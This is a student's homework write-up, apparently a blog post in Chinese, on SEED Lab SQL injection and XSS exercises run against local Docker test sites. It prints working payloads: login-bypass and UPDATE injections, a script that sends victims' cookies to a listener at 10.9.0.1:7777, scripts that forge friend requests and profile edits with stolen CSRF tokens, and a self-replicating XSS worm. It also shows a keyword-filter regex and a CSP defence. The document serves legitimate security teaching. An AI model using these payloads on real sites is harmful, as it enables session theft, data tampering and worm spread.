20253920 2025-2026-2 《网络攻防实践》第10次作业

20253920 2025-2026-2 《网络攻防实践》第10次作业


1.实践内容

本次实践主要围绕 SEED SQL 注入攻击与防御实验、SEED XSS 跨站脚本攻击实验两部分展开。实验环境基于 SEED Lab 提供的 Ubuntu 虚拟机、Docker 容器和预置 Web 应用。通过对 Web 请求、数据库交互过程、浏览器脚本执行机制以及服务器安全策略的观察与分析,进一步理解常见 Web 漏洞的形成原因、攻击方式和防御思路。

1.1SEED SQL 注入攻击与防御实验

SQL 注入是一类典型的 Web 应用安全漏洞,其本质原因是程序在构造 SQL 语句时,将用户输入直接拼接到查询语句中,导致输入数据和 SQL 代码之间的边界被破坏。正常情况下,用户输入应当只作为数据参与查询;但当程序缺少参数化查询、输入校验或权限控制时,攻击者可以构造特殊输入,使数据库将其解释为 SQL 语句的一部分,从而改变原有查询逻辑。

SQL 注入的危害主要体现在三个方面:一是绕过身份认证,例如在不知道密码的情况下登录系统;二是非法查询数据库中的敏感信息,例如用户密码、薪资、邮箱、身份号码等;三是修改或破坏数据库内容,例如篡改用户资料、修改薪资字段或影响其他用户数据。因此,SQL 注入不仅是输入过滤问题,更是 Web 应用后端数据访问逻辑不安全的问题。

本实验使用的是一个员工管理系统,后台数据库为 Users,其中 credential 表保存员工个人信息。实验首先通过数据库操作熟悉 SELECT、UPDATE 等基本 SQL 语句,了解数据库表结构和字段含义。随后,围绕 SELECT 查询和 UPDATE 更新两类典型场景,分析 Web 应用如何将表单输入提交到后端,并观察输入内容在 SQL 语句中的作用。通过实验可以看到,当输入内容没有被安全处理时,攻击者能够改变查询条件或更新逻辑,从而实现越权访问或数据篡改。

在防御部分,实验重点理解参数化查询、输入校验、最小权限原则和错误信息隐藏等方法。其中,参数化查询是防御 SQL 注入最关键的方式,它能够将用户输入固定为数据参数,而不是 SQL 代码的一部分。输入校验可以减少非法格式数据进入后端逻辑,最小权限原则可以降低数据库账户被滥用后的影响范围,而错误信息隐藏可以避免攻击者通过报错内容推测数据库结构。通过该实验,我认识到 SQL 注入防御不能仅依赖简单字符过滤,而应从 SQL 构造方式、权限控制和输入处理机制上整体改进。

1.2SEED XSS 跨站脚本攻击实验

XSS,即跨站脚本攻击,是指攻击者将恶意 JavaScript 代码注入到 Web 页面中,当其他用户访问该页面时,浏览器会在受害者身份上下文中执行这些脚本。XSS 的核心问题在于 Web 页面将用户可控内容与 HTML、JavaScript 代码混合处理,使浏览器无法区分正常页面内容和攻击者插入的脚本代码。

XSS 的危害不仅是弹出警告窗口,更重要的是脚本可以在受害者浏览器中读取页面信息、访问 Cookie、获取 CSRF Token,并以受害者身份向服务器发起请求。由于这些请求来自受害者自己的浏览器,服务器往往会将其视为合法操作。因此,XSS 可以被用于窃取登录凭证、伪造用户操作、修改个人信息、传播恶意脚本等。根据触发方式不同,XSS 通常可以分为反射型 XSS、存储型 XSS 和 DOM 型 XSS。本次实验主要围绕 Elgg 社交网站中的存储型 XSS 和 DOM 型 XSS 展开。

实验首先完成 Elgg 环境的启动与访问,通过 Docker 查看 Web 容器和数据库容器的运行状态,并在浏览器中访问目标站点。随后,在用户资料页面中插入简单 JavaScript 代码,用于验证页面是否存在脚本执行风险。通过该过程可以理解,只要用户输入内容未经充分过滤并被直接嵌入页面,浏览器就可能执行其中的脚本。

在 Cookie 相关实验中,通过脚本读取并显示当前用户的 Cookie 信息,进一步理解 Cookie 在身份认证中的作用。Cookie 常用于维持用户登录状态,如果攻击者能够通过 XSS 获取 Cookie,就可能伪造用户身份或进一步实施会话劫持。因此,该部分实验说明 XSS 对用户身份安全具有直接威胁。

在“自动加好友”实验中,实验重点是理解浏览器请求的构造过程。通过 HTTP Header Live 插件监听用户手动添加好友时产生的 HTTP 请求,分析请求路径、目标用户 GUID、时间戳和安全 Token 等参数。随后,将相应逻辑写入攻击者资料页面,使其他用户访问该页面时,浏览器自动发起加好友请求。该实验说明,XSS 可以利用受害者已登录的身份状态,在用户无感知的情况下完成原本需要手动点击的操作。

在“修改受害者信息”实验中,实验重点从 GET 请求扩展到 POST 请求。通过抓取用户修改资料时的请求,分析 /action/profile/edit 请求所需的 CSRF Token、时间戳、用户名、资料内容和用户 GUID 等参数。随后,脚本动态读取当前访问者的身份信息和安全 Token,并自动构造资料修改请求。该实验说明,即使 Web 应用使用了 CSRF Token,如果页面本身存在 XSS 漏洞,攻击脚本仍然可以从当前页面上下文中读取 Token,从而绕过部分 CSRF 防护机制。

在 XSS 蠕虫实验中,实验进一步展示了存储型 XSS 的传播能力。XSS 蠕虫与普通 XSS 的区别在于,它不仅执行攻击行为,还会将自身复制到受害者的个人资料中,使受害者页面也成为新的传播源。实验中通过 DOM 操作读取脚本自身内容,并将其写入访问者的资料页面。当其他用户继续访问已感染用户页面时,脚本会再次执行并继续传播。该过程体现了社交网络环境中 XSS 蠕虫的扩散性和危害性。

最后进行 XSS 防御实验。实验通过配置 Apache 的 Content Security Policy,即 CSP 内容安全策略,限制页面中脚本的加载与执行。CSP 是一种由服务器通过响应头下发给浏览器的安全策略,它可以规定页面允许加载哪些来源的脚本、样式、图片等资源。通过设置 default-src 'self'; script-src 'self';,浏览器只允许加载同源脚本,并阻止内联 JavaScript 和非同源脚本执行。实验中通过修改 Apache 配置文件、启用 headers 模块并重启服务,使服务器成功返回 CSP 响应头。浏览器访问 CSP 测试页面后,内联脚本、带 nonce 但未被策略允许的脚本、非同源脚本以及按钮内联事件均执行失败,只有同源脚本执行成功。该结果说明 CSP 能够有效限制脚本执行来源,从而缓解依赖内联脚本注入的 XSS 攻击和 XSS 蠕虫传播。

2.实践过程

2.1实验准备阶段

首先进入官网下载seed ubuntu压缩包,同时进入cmd来进行MD5校验

1

下载软件VirtualBox

在cmd中输入命令行"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" clonehd "D:\VM ware\SEED-Ubuntu20.04\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vdi" "D:\VM ware\SEED-Ubuntu20.04\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk" --format VMDK将vdi文件转化成vmdk格式

2

打开VM ware创建新的虚拟机,以下为该虚拟机的具体配置

3

在选择磁盘时选择转换好的vmdk文件

4

选择保持现有格式

5

创建好后,选择虚拟机设置,分配处理器数量

6

选择NAT模式并打开启动时链接

7

打开主机,首先输入sudo -i进入root

输入sudo hostnamectl set-hostname 20253920zch将主机名修改成20253920zch

输入sudo nano /etc/hosts来修改/etc/hosts

8

进入后,找到127.0.1.1 VM这一行

9

将其修改成如下图所示

10

sudo reboot重启主机后,输入hostname检查是否修改成功

11

由于这个版本没有SQL注入环境,因此需要自己配置容器,首先下载实验包

在 SEED Ubuntu 虚拟机的终端中执行mkdir -p ~/sql``cd ~/sql

输入wget --no-check-certificate https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip用wget来下载Labsetup.zip

12

可以看到红框中显示'Labsetup.zip' saved说明实验包已经下载完成

13

输入命令行cd ~/sql``unzip Labsetup.zip来解压实验包

14

解压完成后,执行cd Labsetup进入Labsetup目录

执行ls来查看目录的内容

15

执行docker-compose build来拉取镜像

问题1:Docker 拉取镜像超时

16

原因可能时虚拟机访问Docker Hub太慢或被阻断

解决办法:给 Docker 配置国内镜像加速

执行sudo mkdir -p /etc/docker

执行sudo nano /etc/docker/daemon.json进入编辑器

17

写入以下内容

18

执行sudo systemctl daemon-reload sudo systemctl restart docker重启Docker

执行sudo systemctl status docker来检查Docker是否正常,可以看到active (running)

19

下面重新构建环境,执行cd ~/sql/Labsetup回到实验目录,

重新执行docker-compose build拉取环境

20

成功后,启动docker-compose up,可以看到MySOL启动成功,数据库已经正常运行

21

22

新开一个终端窗口,执行cd ~/sql/Labsetup``docker ps,可以看到Web和MySQL容器都启动成功

23

构建好后检查docker是否开启

24

执行sudo nano /etc/hosts打开hosts文件,手动配置实验网站域名和 Docker Web 容器 IP

在文件末尾加入10.9.0.5 www.SEEDLabSQLInjection.com

25

保存后执行ping -c 4 www.SEEDLabSQLInjection.com来测试域名是否解析到10.9.0.5,解析成功

26

此时访问http://www.SEEDLabSQLInjection.com就可以看到实验界面

27

同样的,继续下载xss跨脚本攻击实验包

执行

cd ~ #回到 SEED 用户主目录
mkdir -p ~/xss #创建XSS实验目录,来存放XSS实验包
cd ~/xss #进入目录
wget --no-check-certificate https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip #下载实验包
unzip Labsetup.zip #解压实验包

28

执行cd Labsetup进入目录,ls查看目录内容,可以看到docker-compose.yml等配置文件

29

执行handsonsecurity/seed-elgg original拉取镜像

30

执行docker images | grep seed-elgg来检查镜像是否拉取成功

31

2.2 SEED SQL注入攻击与防御实验

2.2.1熟悉SQL语句

我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

首先执行docker ps检查一下当前运行的容器,可以看到两个容器分别是mysql和网页服务,其中mysql的id前四位为69a6

32

根据上面得到的id,执行docksh 69a6进入mysql数据库容器的shell环境

进入容器后,执行mysql -u root -pdees进入mysql

33

分别执行以下命令:

show databases; --> 查看所有数据库
use sqllab_users; --> 进入sqllab_users库
show tables; --> 查看该库中所有的表
select * from credential where name = 'Alice'; --> 查看员工Alice信息

34

2.2.2对SELECT语句的SQL注入攻击

上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

执行gedit image_www/Code/unsafe_home.php用图形化文本编辑器打开php源码,可以看到它直接把用户输入的用户名 $input_uname 拼接进 SQL 语句,没有过滤,也没有使用预编译查询。

35

因此账户名为admin'#,密码为任何数值都可以进入到界面。

36

37

2.2.3对UPDATE语句的SQL注入攻击

通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

首先执行gedit image_www/Code/unsafe_edit_backend.php来查看UPDATE源码,由下图可知,程序把用户输入的 nicknameemailaddressPhoneNumber 直接拼接进 SQL 语句,没有过滤,也没有使用预编译查询,因此可以在输入框中插入新的 SQL 片段。

38

用浏览器打开 http://www.SEEDLabSQLInjection.com ,输入用户名:Alice;密码:seedalice进入个人资料页面,点击edit profile进入个人资料修改界面

39

将个人资料重定义,这里我将NickName框填入:Alice', Salary='999999' WHERE Name='Alice';#

保留password

40

保存后的界面如下

41

执行docker exec -it 69a6 bash进入mysql容器内部

执行mysql -u root -p登陆mysql数据库

42

进入mysql后,执行USE sqllab_users;切换到SQL注入实验使用的用户数据库

执行SELECT ID, Name, Salary, NickName FROM credential WHERE Name='Alice';来查询Alice工资,由下图可知Alice的工资由2000变为999999,说明UPDATE型SQL注入成功

43

2.2.4SQL对抗

修复上述SQL注入攻击漏洞

首先查看以下容器的id为0ecf

执行

docker exec -it 0ecf bash #进入web容器
cd /var/www/SQL_Injection #进入容器内部的源码目录
ls #查看文件
cp unsafe_home.php unsafe_home.php.bak #备份目录

44

执行nano unsafe_home.php编辑源码,将$input_uname = $_GET['username'];后面插入$input = preg_replace("/['\";#=<>\\\\]|--|\b(select|update|delete|insert|drop|union|or|and)\b/i", "", $input);

45

再次回到登陆界面尝试登陆 发现失败

46

2.3 SEED XSS跨站脚本攻击实验(Elgg)

需要注意的是:在启动XSS环境之前,需要先把SQL注入实验的Docker容器关掉

执行cd ~/sql/Labsetup,docker-compose down

执行docker ps检查是否关闭成功

47

执行下面代码构建并启动XSS实验

cd ~/xss/Labsetup
docker-compose build
docker-compose up -d
docker ps

48

可以看到下图,容器正常运行

49

执行sudo nano /etc/hosts来配置hosts,在脚本末尾添加代码10.9.0.5 www.seed-server.com,保存后访问网页 http://www.seed-server.com ,XSS实验环境启动成功。

50

2.3.1发布恶意消息,显示警报窗口

在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先输入username:Alice;password:seedalice登陆alice账,点击Edit profile进入资料页面

51

下滑在Brief description 字段输入 <script>alert('20253920zch');</script>,并保存

52

保存后可以看到警告弹窗

53

登陆Bob账号(username:boby;password:seedboby)访问Alice主页,同样可以看到警告弹窗

54

2.3.2弹窗显示cookie信息

将cookie信息显示

Brief description,把原来的代码全部删掉,改成<script>alert(document.cookie);</script>

55

2.3.3窃取受害者的cookies

将cookie发送给攻击者

首先ifconfig查看主机IP

56

Brief description原来的代码修改成

<script> document.write('<img src=http://10.9.0.1:7777?c=' + escape(document.cookie) + ' >'); </script>

57

同时,在虚拟机中打开一个nc来监听7777端口,可以看到get到了敏感信息,攻击成功

58

2.3.4成为受害者的朋友

使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

首先需要打开插件HTTP Header Live权限,在地址栏输入about:config,输入xpinstall.signatures.required搜索并将true改为false

59

更改后浏览界面about:addons如下图所示

60

接下来登陆Alice账户访问并添加samy好友,同时开启HTTP Header Live

61

可以看到下图添加朋友的包被抓出来了,可以提取到一下信息:

GET http://www.seed-server.com/action/friends/add?friend=59&__elgg_ts=1781148972&__elgg_token=DyWy014OgN5WRM1zo5Kj1g...
其中elgg的加好友接口为:friend=59---samy的Guid

62

根据抓包信息构造脚本如下:

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
 
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; 
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; 
 
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.send();
}
</script>

将脚本填写到about me部分并切换到Edit HTML来执行js命令

63

64

删除samy后 再次登陆Alice账号访问samy主页,可以看到和samy又成为friend,攻击成功

65

2.3.5修改受害者的信息

使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

首先登陆Alice账户,打开监听http包,修改自己主页,找到抓包内容,可以看到

Alice 的 GUID = 56

66

67

将脚本写入Alice的About me框内,切换到Edit HTML

脚本如下

<script type="text/javascript">
setTimeout(function () {
    var attackerGuid = 56;

    if (elgg.session.user.guid == attackerGuid) {
        return;
    }

    var token = elgg.security.token.__elgg_token;
    var ts = elgg.security.token.__elgg_ts;

    var victimName = elgg.session.user.name;
    var victimGuid = elgg.session.user.guid;

    var newDescription = "This profile has been modified by Alice's XSS experiment.";
    var newBriefDescription = "20253920zch";

    var content = "__elgg_token=" + encodeURIComponent(token)
        + "&__elgg_ts=" + encodeURIComponent(ts)
        + "&name=" + encodeURIComponent(victimName)
        + "&description=" + encodeURIComponent(newDescription)
        + "&accesslevel%5Bdescription%5D=2"
        + "&briefdescription=" + encodeURIComponent(newBriefDescription)
        + "&accesslevel%5Bbriefdescription%5D=2"
        + "&location="
        + "&accesslevel%5Blocation%5D=2"
        + "&interests="
        + "&accesslevel%5Binterests%5D=2"
        + "&skills="
        + "&accesslevel%5Bskills%5D=2"
        + "&contactemail="
        + "&accesslevel%5Bcontactemail%5D=2"
        + "&phone="
        + "&accesslevel%5Bphone%5D=2"
        + "&mobile="
        + "&accesslevel%5Bmobile%5D=2"
        + "&website="
        + "&accesslevel%5Bwebsite%5D=2"
        + "&twitter="
        + "&accesslevel%5Btwitter%5D=2"
        + "&guid=" + encodeURIComponent(victimGuid);

    var Ajax = new XMLHttpRequest();
    Ajax.open("POST", "/action/profile/edit", true);
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
}, 1000);
</script>

68

登陆Bob账号,未访问Alice时的账户资料信息为下图

69

访问Alice主页后,Bob资料页如下,攻击成功

70

2.3.6编写XSS蠕虫

选择DOM型XSS来编写蠕虫

<script id="worm" type="text/javascript">
window.onload = function () {
    var samyGuid = 59;

    if (elgg.session.user.guid != samyGuid) {

        var headerTag = "<scr" + "ipt id=\"worm\" type=\"text/javascript\">";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var token = elgg.security.token.__elgg_token;
        var ts = elgg.security.token.__elgg_ts;

        var userName = elgg.session.user.name;
        var userGuid = elgg.session.user.guid;

        var description = encodeURIComponent("<p>I'm worm from 20253920</p>") + wormCode;

        var content = "__elgg_token=" + encodeURIComponent(token)
            + "&__elgg_ts=" + encodeURIComponent(ts)
            + "&name=" + encodeURIComponent(userName)
            + "&description=" + description
            + "&accesslevel%5Bdescription%5D=2"
            + "&briefdescription=" + encodeURIComponent("Infected by XSS worm")
            + "&accesslevel%5Bbriefdescription%5D=2"
            + "&location="
            + "&accesslevel%5Blocation%5D=2"
            + "&interests="
            + "&accesslevel%5Binterests%5D=2"
            + "&skills="
            + "&accesslevel%5Bskills%5D=2"
            + "&contactemail="
            + "&accesslevel%5Bcontactemail%5D=2"
            + "&phone="
            + "&accesslevel%5Bphone%5D=2"
            + "&mobile="
            + "&accesslevel%5Bmobile%5D=2"
            + "&website="
            + "&accesslevel%5Bwebsite%5D=2"
            + "&twitter="
            + "&accesslevel%5Btwitter%5D=2"
            + "&guid=" + encodeURIComponent(userGuid);

        var Ajax1 = new XMLHttpRequest();
        Ajax1.open("POST", "/action/profile/edit", true);
        Ajax1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax1.send(content);

        var sendurl2 = "/action/friends/add?friend=" + samyGuid
            + "&__elgg_ts=" + encodeURIComponent(ts)
            + "&__elgg_token=" + encodeURIComponent(token);

        var Ajax2 = new XMLHttpRequest();
        Ajax2.open("GET", sendurl2, true);
        Ajax2.send(null);
    }
}
</script>

并将脚本填入samy的about me部分并切换到Edit HTML

71

保存后,登陆Alice账号并访问samy主页,可以看到Alice主页信息被修改,出现警告信息

72

查看Alice的profile内容可以看到About me内容也被修改成警告内容

73

2.3.7对抗XSS攻击。

首先执行docker ps查看容器id,执行docksh 8b6fe7debc13进入Web容器,nano /etc/apache2/sites-available/apache_csp.conf编辑CSP配置文件

74

在文件末尾加入

<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.seed-server.com
    DirectoryIndex index.html
    Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
</VirtualHost>

75

执行curl -I http://www.seed-server.com验证CSP是否生效,由下图可知CSP 配置被添加到 /etc/apache2/sites-available/apache_csp.conf 中,并通过 /etc/apache2/sites-enabled/apache_csp.conf 生效。

76

打开 Firefox,访问:http://www.seed-server.com可以看到CSP 成功阻止了页面中的内联 JavaScript 和非同源 JavaScript,只允许加载同源脚本。

77

3.学习中遇到的问题及解决

1.安装 HTTP Header Live 插件时,Firefox 由于安全策略限制导致插件无法正常使用。起初进入 about:config 后没有找到 xpinstall.signatures.required 配置项,后来通过手动新建 Boolean 类型配置项,并将其值设置为 false,再进入 about:addons 页面确认 HTTP Header Live 插件处于 Enabled 状态,最终解决了插件启用问题。通过这一过程,我理解了浏览器插件安全策略对实验工具使用的影响。

2.在 XSS 自动加好友实验中,一开始虽然写入了 JavaScript 代码,但页面直接显示 <script>...</script> 内容,说明代码没有被浏览器当作脚本执行,而是被当成普通文本保存。经过排查发现,问题在于没有使用 HTML 或 Source 源码模式写入代码。之后重新进入用户资料编辑页面,切换到可编辑 HTML 源码的位置,再粘贴脚本,解决了代码无法执行的问题。同时,在验证过程中还出现过“已经是好友”导致无法判断实验是否成功的情况,后来通过更换未添加过好友的 Bob 或 Alice 账号重新访问攻击者主页,并结合 HTTP Header Live 是否抓到 /action/friends/add 请求来判断脚本是否真正执行。

3.在修改受害者资料实验中,主要问题是需要区分攻击者 GUID 和受害者 GUID。一开始容易将抓包中得到的固定 GUID 直接写死,但实验目标是修改当前访问者的资料,因此 POST请求中的 guid 应使用 elgg.session.user.guid 动态获取。通过抓取 Alice 修改资料时的 POST 请求,确认 Alice 的 GUID 为 56,同时在脚本中设置攻击者 GUID 判断条件,避免 Alice 自己访问页面时修改自己的资料。该问题的解决使我更清楚地理解了 Elgg 中用户身份参数和请求参数之间的关系。

4.在 CSP 防御实验中,最初已经在 Apache 配置文件中添加了 CSP 策略并重启服务,但使用 curl -I http://www.seed-server.com 查看响应头时没有出现 Content-Security-Policy 字段。之后通过 grep 检查确认 www.seed-server.com 对应的配置位于 /etc/apache2/sites-available/apache_csp.conf,并且已通过 /etc/apache2/sites-enabled/apache_csp.conf 启用。随后改用带 Host 头的命令 curl -I -H "Host: www.seed-server.com" http://127.0.0.1/ 进行验证,最终成功看到 CSP 响应头。这个问题让我认识到,在 Apache 虚拟主机环境下,请求的 Host 字段会影响实际匹配到的站点配置。

4.实践总结

经过本次实验,我对 SQL 注入和 XSS 两类常见 Web 安全漏洞有了更加直观和系统的理解。SQL 注入实验让我认识到,数据库查询语句如果直接拼接用户输入,就可能导致攻击者改变 SQL 逻辑,从而绕过认证或篡改数据。XSS 实验则让我认识到,Web 页面如果允许用户输入内容与 HTML、JavaScript 代码混合,攻击者就可能将恶意脚本存储到页面中,使其他用户在访问页面时被动执行攻击代码。

本次实验不仅停留在理论理解层面,还通过抓包、分析请求、构造参数和观察浏览器行为等方式,完整复现了多个攻击过程。例如,在 Elgg 实验中,通过 HTTP Header Live 抓取加好友和修改资料请求,能够清楚看到浏览器与服务器之间传递的参数,包括 CSRF Token、时间戳、用户 GUID 和表单字段等。这让我理解到,很多 Web 攻击并不是单纯依靠“代码执行”,而是利用受害者已经登录的浏览器上下文,借助 Cookie 和 Token 以受害者身份发起合法请求。

同时,本次实验也让我认识到防御机制的重要性。SQL 注入的防御重点在于使用参数化查询、输入校验和权限控制,避免用户输入被解释为 SQL 代码。XSS 的防御则需要综合使用输出编码、输入过滤、Cookie 安全属性和 CSP 等措施。其中,CSP 实验给我的印象较深。通过在服务器响应头中设置 default-src 'self'; script-src 'self';,浏览器能够主动阻止内联脚本和非同源脚本执行,从而有效降低 XSS 攻击和 XSS 蠕虫传播风险。

总的来说,本次实践加深了我对 Web 安全漏洞成因、利用过程和防御方法的理解,也提升了我使用 Docker、HTTP 抓包工具、浏览器开发工具和 Apache 配置文件进行实验分析的能力。通过解决实验中遇到的问题,我认识到安全实验不仅需要理解攻击原理,也需要具备环境排查、请求分析和防御验证能力。今后在 Web 开发和系统配置中,应更加重视输入处理、权限控制、会话安全和浏览器安全策略,避免因细节疏忽造成严重安全风险。

posted @ 2026-06-02 17:09  吹根猫毛  阅读(15)  评论(0)    收藏  举报